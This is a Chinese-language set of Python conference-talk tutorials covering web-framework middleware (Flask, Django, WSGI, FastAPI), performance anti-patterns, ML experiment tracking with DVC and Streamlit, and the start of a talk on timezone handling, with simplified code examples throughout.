# 第一个被执行的中间件逻辑
pass
@app.before_request
def before_request_f2():
# 第二个被执行的中间件逻辑
pass
@app.after_request
def after_request_f1(response):
# 倒数第二个被执行的中间件逻辑
return response
@app.after_request
def after_request_f2(response):
# 最后一个被执行的中间件逻辑
return response
Django框架中的中间件
上一节我们介绍了Flask中的装饰器中间件,本节中我们来看看Django如何处理中间件。这是一个我称之为index的简化视图函数,它接受一个参数request,表示当前正在处理的请求。请记住,这将是我们接下来几张幻灯片的关键。
在Django中,你可以使用两种方法定义中间件:你可以定义一个类或者定义一个函数。现在我这里的第一个示例是基于类的方法,你定义一个类,定义一个构造函数,该构造函数接受一个参数get_response。这个参数表示要调用的下一个视图函数或下一个中间件。真正的魔法发生在__call__方法中。
因此,这里首先要注意的是__call__所接受的参数。它接受一个参数request,表示当前正在处理的请求。这正是视图函数作为参数接受的内容。现在在__call__方法中,我们实现我们的中间件。在这种情况下,我们实现的中间件处理异常。此处的期望行为是,如果没有异常,我们将原样返回响应。如果我们遇到异常,我们希望返回自定义响应。
Django基于类的中间件示例:
class SimpleMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# 在视图被调用之前的代码
response = self.get_response(request)
# 在视图被调用之后的代码
return response
基于函数的中间件如下所示。我们定义了一个名为latency_reporter的函数,因为我正在使用这个中间件来测量请求的延迟。这里的关键是latency_reporter函数接受一个参数get_response,该参数指向下一个中间件或将为请求调用的视图函数。现在这个函数返回一个闭包。这个闭包再次接收参数request,并且在处理请求时,Django中间件机制会调用这个函数。
Django基于函数的中间件示例:
def latency_reporter(get_response):
def middleware(request):
request_begin = time.time() # 记录开始时间
response = get_response(request)
latency = time.time() - request_begin # 计算延迟
print(f"Request took {latency} seconds.")
return response
return middleware
现在一旦你定义了你的中间件,这就是在Django中激活这些中间件的方式。你需要更新你的settings.py,并更新MIDDLEWARE列表,这是一个模块级别的设置变量,传递给你想要激活的中间件。这里的顺序再次很重要。
考虑我们有一个中间件A,B,然后是你的应用处理程序或你的视图函数。当请求被处理时,基本上是请求进入你的应用程序时,首先调用中间件A,然后调用你的中间件B,最后调用你的视图函数。一旦生成了响应,响应会先进入中间件B,然后再进入中间件A,最后到达客户端。
Flask和Django中间件之间一个关键的区别是,在Flask中,你的中间件可能不会在请求的两个部分都被调用,即在请求时和响应时,因为你通过before_request和after_request的装饰器来控制这一点。在Django中则不同。你定义的每个中间件都会获得请求和响应。这取决于你的中间件,你可以选择忽略请求或忽略响应。
简单回顾一下,使用中间件,你定义自定义代码在请求处理之前和之后运行。中间件的工作方式是框架特定的细节。
框架无关的WSGI中间件
正如我们所见,我们为Django应用程序编写了中间件,也为Flask应用程序编写了中间件,而我们这样做的方式是相当不同的,原因在于每个框架实现了自己的机制。现在我的问题是,你能以框架无关的方式编写中间件吗?结果我们可以。这毕竟是WSGI框架,这意味着它们定义了WSGI应用程序,答案就在这里,正如我们接下来要看到的那样。
因此,我将退后一步,定义什么是一个瞬时的WSGI应用程序。我知道这样的东西是如何定义WSGI应用程序的,但在我这样做之前我对此毫无头绪。但这就是一个WSGI应用程序的样子,仅此而已。你不需要做其他事情。
一个简单的WSGI应用:
def simple_app(environ, start_response):
"""
environ: 包含描述当前请求的键值对的字典。
start_response: 一个函数,用于发送响应状态和头部回客户端。
"""
# 处理请求的逻辑...
status = '200 OK'
headers = [('Content-Type', 'text/plain')]
start_response(status, headers) # 调用start_response
return [b'Hello World!'] # 响应体必须是可迭代的字节串
它接受一个名为environ的字典和一个函数start_response作为两个参数。字典环境包含描述当前请求的键值对,而start_response是一个函数,你用它将响应发送回客户端。注释的行是你在处理程序中进行处理的地方,然后当你准备好发送响应时,首先用两个参数调用start_response。第一个是包含HTTP状态的字符串,第二个是你想要添加到响应中的头部列表,然后你发送响应本身。响应需要是一个可迭代的字节串属性。
让我们看看如何编写一个WSGI中间件层。它看起来非常类似于Django中间件,但有某些差异。事实上,如果你查看__call__方法,我们将忽略__init__,因为在这里并不相关。__call__方法签名和WSGI应用程序签名是完全相同的。
我们在这里做的再次是我最喜欢的例子之一,似乎是处理异常。因此,在__call__方法中,我调用了自我属性self.wsgi_app,它指向原始的WSGI应用程序。如果没有异常,响应将按WSGI应用程序本身返回。如果发生异常,我将调用带有500状态的start_response、自定义头部,然后我返回一个自定义响应,表示发生了错误。这真的很有用,因为你可以将内部异常细节隐藏在客户端面前。
WSGI中间件示例(异常处理):
class ExceptionMiddleware:
def __init__(self, wsgi_app):
self.wsgi_app = wsgi_app
def __call__(self, environ, start_response):
try:
return self.wsgi_app(environ, start_response)
except Exception:
# 发生异常时,返回自定义错误页面
status = '500 Internal Server Error'
headers = [('Content-Type', 'text/html')]
start_response(status, headers)
return [b'<h1>An error occurred.</h1>']
你如何将WSGI应用程序与中间件集成?看起来是这样的。你创建一个ExceptionMiddleware类型的对象,这是我们定义的中间件,然后你传入WSGI应用程序本身,这就是你的WSGI应用,你可以使用像gunicorn这样的服务器来运行它。就这样,你的WSGI应用程序正在与中间件一起运行。我将把这称为为WSGI定义中间件的包装技术。
所以让我们再暂停一下。框架实现了自己的机制来定义中间件,正如我们所见。现在,WSGI是另一个WSGI应用程序。这意味着如果我们使用WSGI中间件实现功能,它们就是框架无关的。
使用第三方WSGI中间件
让我们看看它们是如何工作的。这是OpenTelemetry WSGI中间件,它是一个来自OpenTelemetry项目的开源中间件。这并不是特别重要,所以我不会详细说明OpenTelemetry本身是什么,但这是我熟悉的一个WSGI中间件的例子。所以这是中间件的源代码,你可以看到它与我们在这里定义的中间件的相似性。如果忽略特定功能,它几乎是一样的。
那么我们如何在Flask中使用它呢?当你定义一个Flask应用程序时,有一个属性wsgi_app指向WSGI应用程序。你可以在这里将该属性设置为OpenTelemetry中间件对象的类型,方法是将原始的WSGI应用作为参数传递。所以这导致OpenTelemetry中间件包装了我们原始的WSGI应用程序。这基本上为你的Flask应用程序提供了OpenTelemetry中间件所提供的功能。
在Flask中使用WSGI中间件:
from flask import Flask
from opentelemetry.instrumentation.wsgi import OpenTelemetryMiddleware
app = Flask(__name__)
app.wsgi_app = OpenTelemetryMiddleware(app.wsgi_app) # 包装WSGI应用
现在,对于Django,如果你查看项目中的wsgi.py文件,你会发现这段代码,其中有一个顶级变量叫做application,它被设置为函数get_wsgi_application的返回值,它指向你底层的WSGI应用程序。记得我提到过这个框架抽象了很多这些内容,但在某处确实有一个WSGI应用程序。所以这就是WSGI应用程序。我们使用OpenTelemetry中间件的方式与Flask类似。我们创建一个OpenTelemetry中间件对象,传入原始的WSGI应用程序。然后我们更新application的值,也就是模块级变量,指向那个对象,这就是使用WSGI中间件所需的一切。
在Django中使用WSGI中间件:
# 在 wsgi.py 中
from django.core.wsgi import get_wsgi_application
from opentelemetry.instrumentation.wsgi import OpenTelemetryMiddleware
application = get_wsgi_application()
application = OpenTelemetryMiddleware(application) # 包装WSGI应用
所以这听起来像是个胜利,对吧?你可以编写一个WSGI中间件,并且可以以框架无关的方式使用它。现在我不确定这样做是否会有任何陷阱,尽管我还没有深入探索过。不过,也许这是你可以回家探索的内容。
中间件的迁移应用
好吧,让我们看一个最后的例子,看看如何使用中间件。假设你有一个Django应用程序,并且你将一些后端迁移到Flask。你可以定义一个中间件,将Flask应用程序嵌入到你的Django应用程序中。如果这听起来像魔法,那就是我实际实现时的感觉。
所以你定义一个类,你可以随意命名,但我叫它FlaskAppWrapper。关键再次是特殊的__call__方法。所以在这里我首先调用Flask应用的WSGI方法。你知道,我传递environ和start_response,然后我把它传递给Flask应用。如果我得到一个非404的响应,我就会原样返回数据,这表明请求处理正确。如果我得到404响应,我会退回到Django应用程序,这是一种方式。你可以使用中间件来帮助你在项目中的迁移。
在Django中嵌入Flask应用的中间件:
class FlaskAppWrapper:
def __init__(self, flask_app, django_app):
self.flask_app = flask_app
self.django_app = django_app
def __call__(self, environ, start_response):
# 尝试让Flask应用处理请求
response = self.flask_app(environ, start_response)
# 检查Flask是否返回了404
# (这里需要解析响应状态,逻辑简化)
if not is_404_response:
return response
else:
# 如果Flask返回404,则回退到Django应用
return self.django_app(environ, start_response)
这就是你如何使用它。它看起来非常类似于你使用OpenTelemetry的中间件。所以结果是,当你请求/polls/v2路径时,Flask应用程序会被调用。当你请求/polls路径时,Django应用程序会被调用。
所以回顾一下,Flask和Django实现了自定义机制,允许用户定义中间件。然而,正如你所看到的,当我们定义一个WSGI中间件时,它们变得独立于框架。我们使用包装技术来使用这个WSGI中间件。
ASGI与FastAPI中的中间件
大约有多少个?七个还是八个?所以我认为这会是一个快速的部分,但让我们看看。这是一个ASGI应用的重新应用。它类似于我们在WSGI应用中看到的。你定义一个异步函数。它接受三个参数,一个scope,一个receive函数和一个send函数。因此,基本上描述了当前请求,你可以把它想象成当前请求的生命周期。receive函数用于获取任何请求数据,然后你使用send函数发送任何响应。所以记住这个签名。这就是本节所需的全部内容。
现在让我们考虑一个FastAPI应用程序。这是我们定义一个非常简单的FastAPI应用程序的方式。你创建一个顶层对象,类型为FastAPI。我们定义一个根,expensive。它是一个超级昂贵的根,我们睡10秒钟然后返回一个响应。现在假设我想写一个中间件,比如说缓存。我想缓存这些昂贵的结果。我不想每次都计算结果。
所以我做的就是定义一个中间件。我定义了一个__init__方法。它接受两个参数。第一个参数是应用本身,第二个参数是排除的部分。这是你中间件需要接受的任何自定义参数。我们可以在这里指定任意数量的参数。我这里只有一个。这里的关键再次是特殊的__call__方法。它应该是一个异步函数。它接受三个参数,scope、receive和send,正如我们在这里的ASGI函数一样。在这个函数中,我们定义中间件的逻辑。如果有缓存,我们就返回缓存的响应。然而,如果我们没有得到缓存,我们使用原始参数调用原始应用。
FastAPI ASGI中间件示例(缓存):
from fastapi import FastAPI, Request
from starlette.middleware.base import BaseHTTPMiddleware
import time
app = FastAPI()
class CacheMiddleware(BaseHTTPMiddleware):
def __init__(self, app, excluded_paths=[]):
super().__init__(app)
self.cache = {}
self.excluded_paths = excluded_paths
async def dispatch(self, request: Request, call_next):
# 检查路径是否在排除列表中
if request.url.path in self.excluded_paths:
return await call_next(request)
# 检查缓存
cache_key = request.url.path
if cache_key in self.cache:
return self.cache[cache_key]
# 没有缓存,调用下一个应用并缓存结果
response = await call_next(request)
self.cache[cache_key] = response
return response
# 添加中间件到应用
app.add_middleware(CacheMiddleware, excluded_paths=['/chat'])
因此,再次强调,你已经定义了中间件。你如何在FastAPI中添加它?它提供了一个辅助方法,add_middleware。你首先定义想要添加的中间件的类。然后指定任何额外的参数。在这种情况下,我有一个叫excluded_paths的参数,它是一个我不想缓存的部分列表。
因此,这个中间件实际上运作得很好,你知道。它既适用于HTTP应用,也适用于WebSocket应用。关键在于scope持续的时间与WebSocket连接保持开放的时间一致。所以当你调用await serve.app时,那个函数在WebSocket连接期间不会返回,连接保持开放。因此,我在下面有一些日志,你可以看到请求持续了30秒,这就是WebSocket连接保持开放的时间。
所以现在如果你注意到,比较WSGI框架和ASGI框架的默认行为,我非常喜欢FastAPI的默认行为。因为它允许你直接定义ASGI中间件。实际上,这是他们文档中推荐的第一件事。他们稍后在文档中讨论了一种更具体的方法。但我很喜欢他们让你只需编写一个通用的ASGI中间件。这意味着如果还有其他ASGI框架,你可以将中间件与那些框架一起使用。我很喜欢FastAPI这一点。
所以你将要看到的最后一个中间件示例是如何将WSGI应用嵌入到某些ASGI应用中。这是最神奇的部分。所以你可以做的是定义一个FastAPI应用,然后FastAPI提供一个特殊的中间件,称为WSGIMiddleware。你调用mount方法,任何以/v1开头的部分将被传递给WSGIMiddleware,因此传递给WSGI应用。
在FastAPI中挂载WSGI应用(如Flask):
from fastapi import FastAPI
from fastapi.middleware.wsgi import WSGIMiddleware
from flask import Flask as FlaskApp
# 创建Flask应用
flask_app = FlaskApp(__name__)
@flask_app.route("/v1/hello")
def hello():
return "Hello from Flask!"
# 创建FastAPI应用
app = FastAPI()
@app.get("/v2/hello")
async def hello_fastapi():
return {"message": "Hello from FastAPI!"}
# 将Flask应用挂载到FastAPI的/v1路径下
app.mount("/v1", WSGIMiddleware(flask_app))
结果是,我有一个简要的示例。所以当你调用以/v1开头的任何内容时,你会从Flask那里得到hello world,因为那是经过处理的。另一方面,当你调用以/v2开头的任何内容时,你会从FastAPI那里获得响应。如果你查看Starlette源代码,WSGIMiddleware的实现看起来像这样。我相信你现在开始看到这个模式了。所以你查看__call__方法,它接受三个参数,然后有特殊的WSGIResponder类,如果你深入研究,会定义一个__call__方法,它接受两个参数:一个environ和start_response。因此,你的WSGI应用本质上被适配到了ASGI接口。
总结与练习
本节课中我们一起学习了中间件在Python Web开发中的强大作用。
关键要点:
- 中间件一般可以定义为WSGI应用或ASGI应用,或者特定于Web框架。
- 中间件是既充当客户端(对于下游应用)又充当服务器(对于上游客户端或中间件)的代码。
- 中间件使得非功能性需求(如日志、缓存、错误处理)的解耦和共享成为可能。
- 它还帮助我们在应用框架之间迁移,包括WSGI和ASGI框架。
因此,我给你一个练习。回去吧,不是今天,可能在你恢复之后。查看内置中间件和社区贡献的中间件的源代码。你会很容易看到模式,希望这次演讲能给你足够的内容,深入理解这些,并了解它们的工作原理。
深入了解中间件在WSGI和ASGI应用中的内部运作,并让你的大脑形成一些新的神经通路。


[掌声],[热烈掌声]。
020:编写更快的Python!常见性能反模式 🚀


在本教程中,我们将学习如何通过识别和修正常见的代码反模式来提升Python程序的运行速度。我们将探讨几种关键的优化技巧,包括循环不变性、推导式的使用、数据类型的选择以及函数调用开销的管理。这些方法旨在通过微小的代码改动,带来显著的性能提升。
性能优化前的准备 📋
在开始优化代码之前,有一些重要的准备工作需要完成。上一节我们介绍了本课程的目标,本节中我们来看看如何为优化打下基础。
首先,你需要建立一个性能基准。这意味着你需要知道当前应用程序的运行速度如何。没有基准,你将无法衡量优化是否有效。
以下是开始前必须做的几件事:
- 创建基准:测量当前代码的性能,作为后续比较的参照。
- 使用真实数据:基准测试应使用尽可能接近生产环境的数据,而非虚假数据。
- 进行原子性更改:每次只做一处小改动,以便准确识别性能变化的原因。
- 多次运行测试:由于CPU存在性能波动,单次测试结果可能不准确,需要多次运行取平均值。
- 关注显著提升:通常,低于10%的性能提升可能源于噪声,可以忽略。我们应关注30%、60%或更高的提升。
使用性能分析工具
识别代码中的“热点”(即消耗大部分运行时间的部分)至关重要。为此,我们需要使用性能分析工具。分析工具主要分为两类:
- 追踪分析器:在函数执行前后插入代码来精确计时。优点是准确,缺点是开销较大,可能使程序运行变慢。例如Python标准库中的
cProfile。 - 采样分析器:定期对运行中的程序进行采样,记录当前执行的代码。优点是开销小,对程序性能影响微乎其微。
以下是推荐的分析工具:
- Austin 和 Scalene:两者都是出色的采样分析器,开销极小,并能提供行级别的详细分析报告,帮助你定位到具体的耗时代码行。
- cProfile:Python内置的追踪分析器,兼容性好,但开销相对较大。
- pyinstrument 和 yappi:功能强大的纯Python分析工具。

核心反模式与优化策略 ⚙️
在通过分析工具定位到性能瓶颈后,我们就可以针对性地应用优化策略了。上一节我们介绍了如何准备和分析,本节中我们来看看具体的优化技巧。
1. 循环不变性 🔄
核心概念:在循环内部,有些表达式的结果在每次迭代中都是不变的。高效的编译器会自动将这些表达式移出循环(称为“循环不变代码外提”),但Python解释器不会这样做。
反模式示例:在每次循环迭代中重复计算相同的值。
# 优化前
def slow_loop():
x = (1, 2, 3)
i = 6
for _ in range(100000):
result = len(x) * i # len(x) * i 的结果在循环中不变
优化方法:将不变的计算移出循环,赋值给一个变量。
# 优化后
def fast_loop():
x = (1, 2, 3)
i = 6
x_len_times_i = len(x) * i # 计算一次
for _ in range(100000):
result = x_len_times_i # 直接使用结果
效果:此优化可带来约 55% 的性能提升。需要警惕的不仅是简单表达式,还包括字典查找、方法调用等。
2. 善用推导式 📝

核心概念:使用列表推导式、字典推导式或集合推导式来创建新的序列,通常比传统的 for 循环更高效、更简洁。
反模式示例:使用 for 循环和 .append() 方法创建新列表。
# 优化前
new_list = []
for item in old_list:
if condition(item):
new_list.append(transform(item))
优化方法:改用列表推导式。
# 优化后
new_list = [transform(item) for item in old_list if condition(item)]
效果:代码更简洁,并可获得约 23% 的性能提升。同样适用于创建字典({k:v for ...})和集合({x for ...})。
3. 选择正确的数据类型 🧱
核心概念:Python不同的内置数据类型在创建、查找、迭代等方面性能差异显著。根据使用场景(如是否可变、是否需要唯一项、主要操作是遍历还是查找)选择最合适的类型。

关键决策点:
- 是否需要可变:不需要则优先使用元组而非列表。
- 内容是否为字节:是则考虑
bytes或bytearray。 - 是否需要唯一项:是则使用集合。
- 数据映射开销:在JSON和类对象间频繁转换可能很低效,需评估是否必要。
类类型性能对比:
在表示简单数据结构时,不同类类型的性能排序(从快到慢)大致为:
- 带
__slots__的自定义类(手动定义属性,限制动态属性创建) - 普通自定义类
namedtuple/typing.NamedTupledataclass(由于魔法方法开销,创建实例较慢)

注意:如果只创建少量实例,这种差异可以忽略。但如果需要创建成百上千个实例,选择合适的类型就非常重要。
4. 避免不必要的函数调用 📞

核心概念:在Python中,调用函数(特别是纯Python函数)会产生一定的开销。在热点循环中频繁调用微小函数会累积成显著的性能损失。
反模式示例:在循环内调用一个简单的工具函数。
# 优化前
def add(a, b):
return a + b

total = 0
for i in range(100000):
total = add(total, 1) # 每次循环都有函数调用开销
优化方法:对于极其简单的操作,考虑将代码内联到循环中。
# 优化后
total = 0
for i in range(100000):
total = total + 1 # 消除了函数调用开销
效果:在这个极端的例子中,内联优化可带来超过 50% 的性能提升。注意:这会牺牲一些代码的清晰度和复用性,应仅用于已确认的热点代码区域。

额外技巧:使用 match 语句(Python 3.10+)🎯
核心概念:Python 3.10引入的 match 语句(结构模式匹配)在匹配序列(如列表、元组)时,比等效的 if-elif 链速度更快。
效果:在序列匹配场景下,使用 match 语句可比传统写法快约 80%。

总结与最佳实践 🏁
本节课中我们一起学习了四种提升Python代码性能的核心反模式及其优化策略:
- 提取循环不变代码:将循环内不变的计算移出循环。
- 优先使用推导式:用列表、字典、集合推导式替代手动循环和添加操作。
- 谨慎选择数据类型:根据使用场景(可变性、内容类型、操作类型)选择最合适的数据结构,了解不同类类型的性能差异。
- 管理函数调用开销:在已确认的热点循环中,权衡代码清晰度与性能,必要时将微小函数内联。
最佳实践流程:
- 分析先行:永远先使用采样分析器(如Scalene、Austin)定位真正的性能瓶颈,不要盲目优化。
- 聚焦热点:将优化精力集中在消耗大部分运行时间的少数代码区域上。
- 量化效果:每次优化后,与基准对比,确保改动确实带来了预期的提升。
- 团队沟通:与团队成员分享这些性能模式,在代码审查中留意潜在的性能问题,防止性能回归。

记住,优化的目标是在保持代码可维护性的前提下,获得有意义的性能提升。对于非关键路径的代码,可读性和简洁性往往比微小的性能提升更重要。
021:构建灵活的ML实验跟踪系统 🧪


在本教程中,我们将学习如何为Python程序员构建一个灵活、可定制的机器学习实验跟踪系统。我们将结合使用DVC(数据版本控制)和Streamlit这两个强大的工具,来管理实验数据、确保可重复性,并创建交互式可视化界面来分析和比较实验结果。
1. 机器学习项目中的实验跟踪 🔄
在典型的机器学习项目中,工作流程是一个循环:你拥有数据,尝试训练模型,评估结果,然后根据反馈调整数据、模型或参数,并再次进行实验。这个过程需要有效的实验跟踪。
一个优秀的实验跟踪系统应具备以下核心功能:
- 记录:跟踪每次实验所使用的数据、代码和参数。
- 比较:能够轻松地比较不同实验的结果。
- 组织:随着实验数量增加,需要有效组织以便搜索。
- 可重复性:能够精确复现成功的实验。
- 协作:便于在团队中分享实验知识和成果。
市面上有许多集成的解决方案(“单体”方案),但它们往往不够灵活。本教程将展示如何利用Python生态中的模块化工具,构建一个完全可定制的系统。
2. 示例项目:猫狗图像分类 🐱🐶
为了演示,我们将使用一个经典的图像分类任务:区分猫和狗。这个示例基于TensorFlow教程,数据集包含约3000张图像。
一个基础的训练管道通常包含以下步骤:
- 下载数据集
- 准备数据集(如划分为训练集、验证集和测试集)
- 在训练集上训练模型
- 评估模型以获得性能指标
运行一次实验涉及几个环节:
- 设置实验:定义模型、数据和参数。这可以通过代码或配置文件(如
params.yaml)来完成,并用Git进行版本控制。 - 运行管道:按顺序执行脚本。手动操作容易出错。
- 保存结果:保存模型权重、指标文件等输出。
- 跟踪实验:记录实验的元数据(用了什么参数、数据、代码版本)。
对于后三个环节,我们需要更好的工具。
3. 引入DVC:数据与管道版本控制 📊
DVC(Data Version Control)是一个Python库,用于跟踪Git无法有效处理的大文件(如数据集、模型)。它的工作原理是用小的元数据文件替代大文件,这些元数据文件则由Git管理。
核心命令示例:
# 跟踪大文件,类似 git add
dvc add dataset/
git add dataset/.dvc
# 推送数据到远程存储
dvc push
DVC的一个强大功能是可重复管道。你可以在一个YAML文件(如dvc.yaml)中定义数据处理阶段。
管道定义示例 (dvc.yaml):
stages:
prepare:
cmd: python src/prepare.py
deps:
- src/prepare.py
- data/raw
outs:
- data/prepared
train:
cmd: python src/train.py
deps:
- src/train.py
- data/prepared
params:
- train.epochs
- train.lr
outs:
- model.pkl
metrics:
- scores.json:
cache: false
运行整个管道只需一条命令:
dvc repro
DVC会自动解析依赖顺序,并利用缓存机制:如果某个阶段的输入未变,则跳过该阶段以节省时间。
现在,运行实验的步骤简化为:
- 设置:修改
dvc.yaml或params.yaml。 - 运行:执行
dvc repro。 - 保存:DVC自动跟踪输出数据,使用
dvc push保存到远程。 - 跟踪:实验的元数据(
.dvc文件)被Git记录。
然而,通过git log查看实验历史并不直观,且机器学习实验常是非线性的(尝试多种参数组合)。DVC的实验(experiments)功能解决了这个问题。
你可以使用dvc exp run来运行新实验,并覆盖特定参数:
dvc exp run --set-param train.lr=0.01
使用dvc exp show可以清晰地查看所有实验及其指标、参数:
dvc exp show
这提供了强大的命令行实验跟踪能力。
4. 引入Streamlit:构建交互式Web应用 🎨
虽然DVC在命令行中能很好地跟踪数据,但在可视化和交互比较方面有所欠缺。这时就需要Streamlit。
Streamlit是一个用于快速构建数据Web应用的Python库。你只需编写Python脚本,就能创建丰富的交互式界面,无需前端知识。
基础用法示例:
import streamlit as st
import pandas as pd
# 显示文本
st.title(‘我的实验看板’)
# 显示数据框
df = pd.read_csv(‘predictions.csv’)
st.dataframe(df)
# 添加交互控件
threshold = st.slider(‘选择置信度阈值’, 0.0, 1.0, 0.5)
filtered_df = df[df[‘confidence’] > threshold]
st.write(f’高于阈值的数据量:{len(filtered_df)}‘)
你可以轻松构建应用来:
- 调查模型:例如,滑动滑块查看模型在不同置信度下的预测样本。
- 测试模型:上传图片,实时查看模型预测结果。
Streamlit让创建自定义分析界面变得异常简单。


5. 强强联合:DVC + Streamlit 🚀
现在,我们将DVC的数据跟踪能力与Streamlit的交互可视化能力结合起来,构建一个完整的实验跟踪系统。
5.1 实验总览应用
这个应用类似于dvc exp show的图形化版本,但功能更强大。
核心代码思路:
- 使用DVC的Python API获取所有实验的元数据。
- 使用Streamlit将数据展示为可排序、可过滤的表格。
- 添加图表,如绘制“准确率 vs. 训练轮数”来可视化趋势。
获取实验数据的关键代码:
from dvc.repo import Repo
repo = Repo(‘.‘) # 初始化DVC仓库对象
experiments = repo.experiments.ls(all_commits=True) # 获取所有实验
# experiments是一个包含提交哈希和实验信息的字典
# 获取某个特定实验的详细指标和参数
exp_metrics = repo.experiments.show(revs=[‘exp-123abc‘])
5.2 实验对比(Diff)应用
这个应用用于比较两个不同实验的预测结果,例如找出模型预测不一致的样本。
核心代码思路:
- 提供下拉框让用户选择两个要比较的实验(提交哈希)。
- 使用DVC的
dvc.api.open()函数读取存储在特定实验版本下的预测结果文件。 - 比较两个预测结果,高亮显示差异。
读取特定版本文件的关键代码:
import dvc.api
# 在修订版本 ‘exp-a1b2c3‘ 下打开文件
with dvc.api.open(‘predictions.csv‘, rev=‘exp-a1b2c3‘) as f:
df_exp1 = pd.read_csv(f)
结合这两个应用,你的团队就拥有了一个功能强大且完全可定制的实验跟踪与协作平台。
6. 总结与展望 📈
在本教程中,我们一起学习了如何构建一个灵活的ML实验跟踪系统:
- 识别需求:我们明确了实验跟踪在ML项目循环中的核心作用:记录、比较、组织、复现和协作。
- 使用DVC:我们利用DVC进行数据和管道的版本控制,通过
dvc.yaml定义可重复管道,并使用dvc exp系列命令在命令行中高效管理和跟踪非线性实验。 - 使用Streamlit:我们借助Streamlit快速构建交互式Web应用,用于可视化实验结果和创建模型调试界面。
- 整合方案:我们将两者结合,通过DVC Python API获取实验数据,并用Streamlit构建自定义的实验总览和对比应用,从而实现了强大的图形化跟踪与协作功能。
这种方法的优势在于极高的定制性和极低的初始设置成本。你可以根据团队的具体需求设计任何界面。但需要注意的是,它要求团队具备一定的软件工程能力来开发和维护这些代码。
下一步,你可以考虑:
- 部署Streamlit应用:使用Streamlit Cloud等服务将应用部署到线上,方便所有团队成员(包括非技术人员)访问。
- 集成CI/CD:利用DVC的CML(Continuous Machine Learning)等工具,将实验训练集成到GitHub Actions等CI/CD流水线中,实现自动化测试和报告。

通过这套由模块化工具构建的系统,你能够为机器学习项目打造一个透明、高效且适应自身工作流程的实验管理环境。
教程内容基于Antoine Toubhans的演讲《灵活的ML实验跟踪系统,适用于Python程序员》整理。代码示例可在相关仓库获取。
022:演讲 - 本杰明·扎戈斯基 - 处理 Python 中的时区

在本教程中,我们将学习如何在Python中正确处理时区。时区问题看似简单,实则复杂,是软件开发中常见的错误来源。我们将从避免常见错误开始,然后学习正确的时区处理模型,并通过代码示例演示如何解决实际问题。最后,我们会简要介绍Django框架中的时区工具。
概述:为什么时区如此重要?
一个看似简单的问题:“今天的日期是什么?” 答案取决于你所在的时区。这揭示了时区的复杂性。无论你是否意识到,只要你处理日期或时间,你就在处理时区。忽略时区会导致难以调试的错误,例如用户在不同地区看到错误的日期,或者在夏令时切换时出现计算错误。
即使你的所有用户都在同一个时区,你仍然需要考虑时区规则,比如夏令时。历史数据也可能涉及不同的时区规则。因此,从一开始就在代码库中正确支持时区至关重要。
Python 3.9 引入了 zoneinfo 模块,为标准库提供了完整的时区支持,这标志着社区处理时区方式的转变。
第一部分:时区处理的常见陷阱 🚫
上一节我们概述了时区的重要性,本节中我们来看看在Python中处理时区时绝对不应该做的事情。这些做法是“平均开发者”不期望的,容易引入隐蔽的错误。如果你确实需要这样做,务必添加详细注释。
以下是几个关键的陷阱:
1. 不要使用“天真”的日期时间对象
在Python中,datetime对象包含年、月、日、时、分、秒等信息,以及一个可选的 tzinfo 属性用于存储时区。一个没有附加时区信息的datetime对象被称为“天真”的。
- 问题:
datetime(2022, 1, 1, 12, 0, 0)表示的是“2022年元旦中午”这个概念,但它对应着地球上从UTC-12到UTC+14共26个小时范围内的多个不同时间点。这造成了巨大的模糊性。 - 结论:如果你构造的
datetime意在表示一个具体的时间点(过去、现在或未来),务必为其附加时区信息。
2. 不要使用不带时区的 datetime.now() 和 date.today()
datetime.now():- 问题:不带参数调用时,它返回一个“天真”的
datetime,其值依赖于运行代码的系统本地时间。同一时刻在不同时区的服务器上运行会得到不同结果,这是非确定性的,且难以在本地测试中发现。 - 错误示例:
naive_now = datetime.now()
- 问题:不带参数调用时,它返回一个“天真”的
date.today():- 问题:它从系统本地时间提取日期。东京用户在午夜提交表单时,服务器(可能在其他时区)可能仍认为是“昨天”,导致验证错误。
- 错误示例:
today = date.today() # 可能得到错误的日期
3. 不要在非UTC时区进行“持续时间”算术
“持续时间”算术指在两个时间点之间做加减(例如,datetime1 - datetime2 或 datetime1 + timedelta(hours=2))。
- 问题:在有时区间断(如夏令时)的时区进行加减,结果可能不符合直觉。Python的加减操作是基于挂钟时间的,而不是固定的时间间隔。
- 示例:在美国东部时间(EST/EDT)夏令时开始前30分钟(凌晨1:30)加上2小时,结果可能是凌晨4:30(因为跳过了1小时),而不是你期望的3:30。
- 结论:进行持续时间计算时,应先将时间转换到UTC,在UTC下计算,然后再转换回目标时区。
4. 不要使用 pytz 库(如果可能)
- 问题:
pytz是一个历史悠久的库,但它与Python标准库处理时区的方式不兼容,可能导致错误的UTC偏移量计算。 - 解决方案:使用Python 3.9+标准库中的
zoneinfo模块,或者其向后移植包backports.zoneinfo。
5. 不要对有“时区意识”的日期时间使用 replace(tzinfo=...)
- 问题:
replace方法会直接替换时区信息,而不进行时间转换。这会导致同一个datetime对象表示的时间点发生改变。 - 示例:
utc_dt(UTC时间) 被replace为美国东部时区后,其表示的实际时间点会偏移数小时。 - 正确做法:要转换时区,请使用
astimezone()方法。
第二部分:正确的时区处理模型 🗺️
上一节我们介绍了需要避免的陷阱,本节中我们来看看如何从高层次构建正确的时区处理模型。核心思想是:以UTC为中心,在边界进行转换。
理解UTC
UTC(协调世界时)是所有时区计算的基准。
- 没有时间间断:没有夏令时、没有奇怪的日期变更,是进行数学运算的安全环境。
- 所有时区都基于UTC:每个时区都定义为相对于UTC的偏移量(如UTC-5, UTC+8)。
- 理想的内部存储格式:在系统内部、数据库、API间传递时,应始终使用UTC。
核心处理流程图
以下是处理时区的核心模型:
[用户输入 (带时区)] -> [转换为UTC] -> [在UTC下存储/计算] -> [转换为用户时区] -> [输出给用户]
解释:
- 输入边界:从用户那里获取时间信息时,必须同时知道其所在的时区(例如,通过表单字段或用户配置)。将这些信息组合成一个“有时区意识”的
datetime对象,然后立即转换为UTC。 - 内部处理:在代码内部、数据库存储、服务间通信时,始终使用UTC。在这里进行所有的持续时间计算、比较和逻辑处理。
- 输出边界:当需要向用户展示时间时,将UTC时间转换回用户的本地时区,再格式化为字符串或提取日期。
例外:日历算术
如果你想“将日期推迟3天”,这属于日历操作,而不是持续时间计算。应该在日期对象上进行,或者在转换到用户时区后,在本地日期上进行,以避免夏令时导致的偏差。
第三部分:Python代码示例 💻
上一节我们建立了理论模型,本节中我们来看看如何用Python代码实现它。我们将使用Python 3.9+的zoneinfo模块。
首先,确保你有时区数据:
# 安装 backports.zoneinfo (适用于 Python < 3.9)
# pip install backports.zoneinfo
